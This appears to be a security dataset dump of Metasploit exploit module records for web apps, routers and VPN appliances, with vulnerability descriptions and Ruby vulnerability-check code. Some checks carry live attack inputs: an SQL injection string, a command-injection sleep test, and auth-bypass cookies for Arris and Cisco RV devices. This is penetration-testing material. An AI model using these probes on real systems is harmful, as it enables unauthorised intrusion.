deardaniel/secdata-raw huggingface dataset:
Metasploit Module: ATutor 2.2.1 Directory Traversal / Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/atutor_filemanager_traversal.rb
Platform: php
Disclosure date: 2016-03-01
References: CVE-2016-2555, CVE-2[PII_REDACTED], URL-http://www.atutor.ca/, URL-http://sourceincite.com/research/src-2016-09/, URL-http://sourceincite.com/research/src-2016-10/, URL-http://sourceincite.com/research/src-2016-11/, URL-https://github.com/atutor/ATutor/pull/107

Description:
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
          setup with display_errors set to On, which can be used to allow us to upload a malicious
          ZIP file. On the web application, a blacklist verification is performed before extraction,
          however it is not sufficient to prevent exploitation.

          You are required to login to the target to reach the vulnerability, however this can be
          done as a student account and remote registration is enabled by default.

          Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
          in order to bypass the authentication:

          1. confirm.php Authentication Bypass Type Juggling vulnerability
          2. password_reminder.php Remote Password Reset TOCTOU vulnerability

Check method (fingerprinting):
# there is no real way to finger print the target so we just
    # check if we can upload a zip and extract it into the web root...
    # obviously not ideal, but if anyone knows better, feel free to change
    unless datastore['USERNAME'] && datastore['PASSWORD']
      # if we cant login, it may still be vuln
      return Exploit::CheckCode::Unknown('Check requires credentials. The target may still be vulnerable. If so, it may be possible to bypass authentication.')
    end

    student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check = true)
    if !student_cookie.nil? && disclose_web_root
      begin
        if upload_shell(student_cookie, check = true) && found
          return Exploit::CheckCode::Vulnerable('The target is vulnerable')
        end
      rescue Msf::Exploit::Failed => e
        vprint_error(e.message)
      end
    end
    return Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: MobileIron MDM Hessian-Based Java Deserialization RCE
Type: exploit
Path: modules/exploits/linux/http/mobileiron_mdm_hessian_rce.rb
Platform: unix
Disclosure date: 2020-09-12
References: CVE-2020-15505, URL-https://www.mobileiron.com/en/blog/mobileiron-security-updates-available, URL-https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html, URL-https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505
Targets: Unix Command, Linux Dropper

Description:
This module exploits an ACL bypass in MobileIron MDM products to
          execute a Groovy gadget against a Hessian-based Java deserialization
          endpoint.

Check method (fingerprinting):
# http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Call
    res = send_request_hessian('c')

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian'
      return CheckCode::Safe('ACL bypass failed.')
    end

    CheckCode::Vulnerable('ACL bypass successful.')
  end
Metasploit Module: Airties login-cgi Buffer Overflow
Type: exploit
Path: modules/exploits/linux/http/airties_login_cgi_bof.rb
Platform: linux
Disclosure date: 2015-03-31
References: CVE-2015-2797, EDB-36577, URL-http://www.bmicrosystems.com/exploits/airties5650tt.txt

Description:
This module exploits a remote buffer overflow vulnerability on several Airties routers.
          The vulnerability exists in the handling of HTTP queries to the login cgi with long
          redirect parameters. The vulnerability doesn't require authentication. This module has
          been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
          Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
          Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => '/cgi-bin/login',
        'method' => 'GET'
      })

      if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)
Type: exploit
Path: modules/exploits/linux/http/aitemi_m300_time_rce.rb
Platform: %w[linux unix
Disclosure date: 2025-08-07
References: URL-https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/, CVE-2025-34152
Targets: Unix Command, Linux Meterpreter MIPSBE (MAY crash HTTP worker)

Description:
This module exploits an unauthenticated remote command injection vulnerability
          in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability
          lies in the 'time' parameter of the time configuration endpoint, which is passed
          unsanitized to a shell command executed via the `date -s` mechanism. The injection
          executes with root privileges, without requiring authentication, reboot, or
          network reconfiguration.

Check method (fingerprinting):
fingerprint_hits = []

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'favicon.ico')
    )

    return CheckCode::Unknown('No response from target') unless res
    return CheckCode::Safe('favicon.ico not found') unless res.code == 200

    hash = Digest::SHA256.hexdigest(res.body)
    if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'
      print_good('Favicon hash matched – likely Aitemi M300 device')
      fingerprint_hits << 'favicon'
    end

    server_header = res.headers['Server']
    if server_header&.start_with?('lighttpd/1.4.32')
      print_good("HTTP server version matched: #{server_header}")
      fingerprint_hits << 'httpd'
    end

    %w[index.html home.html].each do |page|
      res_html = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, page)
      )

      next unless res_html&.code == 200

      if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')
        print_good("HTML fingerprint matched in #{page} – UI strings detected")
        return CheckCode::Appears('HTML language markers confirmed')
      end
    end

    if fingerprint_hits.any?
      return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}")
    end

    CheckCode::Unknown('No identifiable fingerprint found')
  end
Metasploit Module: MajorDoMo Command Injection
Type: exploit
Path: modules/exploits/linux/http/majordomo_cmd_inject_cve_2023_50917.rb
Platform: unix
Disclosure date: 2023-12-15
References: CVE-2023-50917, URL-https://github.com/Chocapikk/CVE-2023-50917, URL-https://chocapikk.com/posts/2023/cve-2023-50917, URL-https://github.com/sergejey/majordomo

Description:
This module exploits a command injection vulnerability in MajorDoMo
          versions before 0662e5e.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited!")
    res = send_request_cgi(
      'uri' => normalize_uri(datastore['TARGETURI'], 'favicon.ico'),
      'method' => 'GET'
    )

    unless res && res.code == 200
      return CheckCode::Unknown('Did not receive a response from target.')
    end

    unless Rex::Text.md5(res.body) == '08d30f79c76f124754ac6f7789ca3ab1'
      return CheckCode::Safe('The target is not MajorDoMo.')
    end

    print_good('Target is identified as MajorDoMo instance')
    sleep_time = rand(5..10)
    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}")
    end
    print_status("Elapsed time: #{elapsed_time} seconds.")
    unless res && elapsed_time >= sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    CheckCode::Vulnerable('Successfully tested command injection.')
  end
Metasploit Module: Centreon SQL and Command Injection
Type: exploit
Path: modules/exploits/linux/http/centreon_sqli_exec.rb
Platform: unix
Disclosure date: 2014-10-15
References: CVE-2014-3828, CVE-2014-3829, US-CERT-VU-298796, URL-https://seclists.org/fulldisclosure/2014/Oct/78

Description:
This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
          Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
          injection in the displayServiceStatus.php component, it is possible to execute arbitrary
          commands as long as there is a valid session registered in the centreon.session table.
          In order to have a valid session, all it takes is a successful login from anybody.
          The exploit itself does not require any authentication.

          This module has been tested successfully on Centreon Enterprise Server 2.2.

Check method (fingerprinting):
random_id = rand_text_numeric(5 + rand(8))
    res = send_session_id(random_id)

    unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    injection = "#{random_id}' or 'a'='a"
    res = send_session_id(injection)

    if res && res.code == 200
      if res.body && res.body.to_s =~ /sh: graph: command not found/
        return Exploit::CheckCode::Vulnerable('The target is vulnerable')
      elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Nagios XI 5.5.0-5.7.3 - Snmptrap Authenticated Remote Code Exection
Type: exploit
Path: modules/exploits/linux/http/nagios_xi_snmptrap_authenticated_rce.rb
Platform: linux
Disclosure date: 2020-10-20
References: CVE-2020-5792
Targets: Linux (x86/x64), CMD

Description:
This module exploits an OS command injection vulnerability in
          includes/components/nxti/index.php that enables an authenticated user
          with admin privileges to achieve remote code execution as the `apache`
          user. The module uploads a simple PHP shell via includes/components/nxti/index.php
          to includes/components/autodiscovery/jobs/<php_shell> and then
          executes the payload as the `apache` user via an HTTP GET request to
          includes/components/autodiscovery/jobs/<php_shell>?<php_param>=<cmd>

          Valid credentials for a Nagios XI admin user are required. This module has
          been successfully tested against Nagios XI 5.7.3 running on CentOS 7.

Check method (fingerprinting):
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
    # an array containing the http response body of a GET request to index.php and the session cookies
    login_result, res_array = nagios_xi_login(username, password, finish_install)
    case login_result
    when 1..3 # An error occurred
      return CheckCode::Unknown(res_array[0])
    when 4 # Nagios XI is not fully installed
      install_result = install_nagios_xi(password)
      if install_result
        return CheckCode::Unknown(install_result[1])
      end

      login_result, res_array = login_after_install_or_license(username, password, finish_install)
      case login_result
      when 1..3 # An error occurred
        return CheckCode::Unknown(res_array[0])
      when 4 # Nagios XI is still not fully installed
        return CheckCode::Detected('Failed to install Nagios XI on the target.')
      end
    end

    # when 5 is excluded from the case statement above to prevent having to use this code block twice.
    # Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.
    if login_result == 5 # the Nagios XI license agreement has not been signed
      auth_cookies, nsp = res_array
      sign_license_result = sign_license_agreement(auth_cookies, nsp)
      if sign_license_result
        return CheckCode::Unknown(sign_license_result[1])
      end

      login_result, res_array = login_after_install_or_lic
Metasploit Module: Arris VAP2500 tools_command.php Command Execution
Type: exploit
Path: modules/exploits/linux/http/vap2500_tools_command_exec.rb
Platform: unix
Disclosure date: 2014-11-25
References: CVE-2014-8423, CVE-2014-8424, OSVDB-115045, OSVDB-115046, BID-71297, BID-71299, URL-http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/

Description:
Arris VAP2500 access points are vulnerable to OS command injection in the web management
          portal via the tools_command.php page. Though authentication is required to access this
          page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid
          username.

Check method (fingerprinting):
begin
      res = send_request_raw({
        'method' => 'GET',
        'uri' => '/tools_command.php',
        'cookie' => "p=#{Rex::Text.md5('super')}"
      })
      if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
        return Exploit::CheckCode::Vulnerable('The target is vulnerable')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Symantec Messaging Gateway Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/symantec_messaging_gateway_exec.rb
Platform: python
Disclosure date: 2017-04-26
References: URL-https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/, CVE-2017-6326

Description:
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
          terminal command under the context of the web server user which is root.

          backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
          operating system command. One of the user input is being passed to the service without proper validation. That cause a command
          injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
          command. Thus, you need to configure your own SSH service and set the required parameter during module usage.

          This module was tested against Symantec Messaging Gateway 10.6.2-7.
Metasploit Module: D-Link HNAP Request Remote Buffer Overflow
Type: exploit
Path: modules/exploits/linux/http/dlink_hnap_bof.rb
Platform: linux
Disclosure date: 2014-05-15
References: CVE-2014-3936, BID-67651, URL-http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/, URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029

Description:
This module exploits an anonymous remote code execution vulnerability on different
          D-Link devices. The vulnerability is due to a stack based buffer overflow while
          handling malicious HTTP POST requests addressed to the HNAP handler. This module
          has been successfully tested on D-Link DIR-505 in an emulated environment.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => "/HNAP1/",
        'method' => 'GET'
      })

      if res && [200, 301, 302].include?(res.code)
        if res.body =~ /DIR-505/ && res.body =~ /1.07/
          @my_target = targets[3] if target['auto']
          return Exploit::CheckCode::Appears('The target appears to be vulnerable')
        elsif res.body =~ /DIR-505/ && res.body =~ /1.06/
          @my_target = targets[2] if target['auto']
          return Exploit::CheckCode::Appears('The target appears to be vulnerable')
        elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/
          @my_target = targets[1] if target['auto']
          return Exploit::CheckCode::Appears('The target appears to be vulnerable')
        else
          return Exploit::CheckCode::Detected('The target service was detected')
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Pulse Secure VPN gzip RCE
Type: exploit
Path: modules/exploits/linux/http/pulse_secure_gzip_rce.rb
Platform: unix
Disclosure date: 2020-10-26
References: URL-https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605, URL-https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/, URL-https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601, CVE-2020-8260
Targets: Unix In-Memory, Linux Dropper

Description:
The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability
          which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.
          Admin credentials are required for successful exploitation.
          Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.

Check method (fingerprinting):
(exploiting: false)
    login
    res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
    version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
    version, build = version

    return CheckCode::Unknown('Could not determine the target status') unless version.include?('R')

    version, revision = version.split('R', 2)
    print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")
    return CheckCode::Appears("Version #{version} appears to be vulnerable") if version.to_f <= 9.1 && revision.to_f < 9

    CheckCode::Detected("Target detected: version #{version}")
  rescue Msf::Exploit::Failed
    CheckCode::Unknown('Could not determine the target status')
  ensure
    logout unless exploiting
  end
Metasploit Module: Ivanti Sentry MICSLogService Auth Bypass resulting in RCE (CVE-2023-38035)
Type: exploit
Path: modules/exploits/linux/http/ivanti_sentry_misc_log_service.rb
Platform: unix
Disclosure date: 2023-08-21
References: URL-https://github.com/horizon3ai/CVE-2023-38035, URL-https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/, CVE-2023-38035
Targets: Unix (In-Memory), Linux Dropper

Description:
This module exploits an authentication bypass in Ivanti Sentry which exposes API functionality which
          allows for code execution in the context of the root user.

Check method (fingerprinting):
# Unauthenticated access to the vulnerable endpoint was removed in patched versions of Sentry.
    # Send an unsupported GET request and see if it responds politely.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/mics/services/MICSLogService'),
      'method' => 'GET'
    )

    return Exploit::CheckCode::Unknown('The target did not respond to the vulnerable endpoint') unless res
    return Exploit::CheckCode::Safe("A vulnerable instance should respond with an HTTP 405 with the string: 'HessianServiceExporter only supports POST requests' in the response body") unless res.code == 405 && res.body.include?('HessianServiceExporter only supports POST requests')

    Exploit::CheckCode::Appears('The target appears to be vulnerable')
  end
Metasploit Module: Cisco RV Series Authentication Bypass and Command Injection
Type: exploit
Path: modules/exploits/linux/http/cisco_rv340_lan.rb
Platform: unix
Disclosure date: 2021-11-02
References: CVE-2022-20705, CVE-2022-20707, ZDI-22-410, ZDI-22-411
Targets: Unix Command, Linux Dropper

Description:
This module exploits two vulnerabilities, a session ID directory traversal authentication
          bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,
          and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.
          This access can then be used to pivot to other parts of the network. This module works on firmware
          versions 1.0.03.24 and below.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/upload',
      'headers' => {
        'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
      }
    }, 10)

    # A proper "upload" will trigger file creation. So the send_request_cgi call
    # above is an incorrect "upload" call to avoid creating a file on disk. The router will return
    # status code 405 Not Allowed if authentication has been bypassed by the above request.
    # The firmware containing this authentication bypass also contains the command injection
    # vulnerability that will be abused during actual exploitation. Non-vulnerable
    # firmware versions will respond with 403 Forbidden.
    if res.nil?
      return CheckCode::Unknown('The device did not respond to request packet.')
    elsif res.code == 405
      return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
    elsif res.code == 403
      return CheckCode::Safe('The device is not vulnerable to exploitation.')
    else # Catch-all
      return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
    end
  end
Metasploit Module: Apache OFBiz SOAP Java Deserialization
Type: exploit
Path: modules/exploits/linux/http/apache_ofbiz_deserialization_soap.rb
Platform: unix
Disclosure date: 2021-03-22
References: CVE-2021-26295, URL-https://github.com/yumusb/CVE-2021-26295-POC/blob/main/poc.py, URL-https://issues.apache.org/jira/browse/OFBIZ-12167
Targets: Unix Command, Linux Dropper

Description:
This module exploits a Java deserialization vulnerability in Apache
          OFBiz's unauthenticated SOAP endpoint /webtools/control/SOAPService for
          versions prior to 17.12.06.

Check method (fingerprinting):
# Send an empty serialized object
    res = send_request_soap('')

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    messages = {}
    res.get_xml_document.xpath('//soapenv:Envelope/soapenv:Body/serResponse:serResponse/serResponse:map-HashMap/serResponse:map-Entry', XML_NS).each do |entry|
      key = entry.xpath('serResponse:map-Key/serResponse:std-String/@value', XML_NS).to_s
      messages[key] = entry.xpath('serResponse:map-Value/serResponse:std-String/@value', XML_NS).to_s
    end

    if messages['errorMessage']&.start_with?('Problem deserializing object from byte array')
      return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
    end

    CheckCode::Safe('Target cannot deserialize arbitrary data.')
  end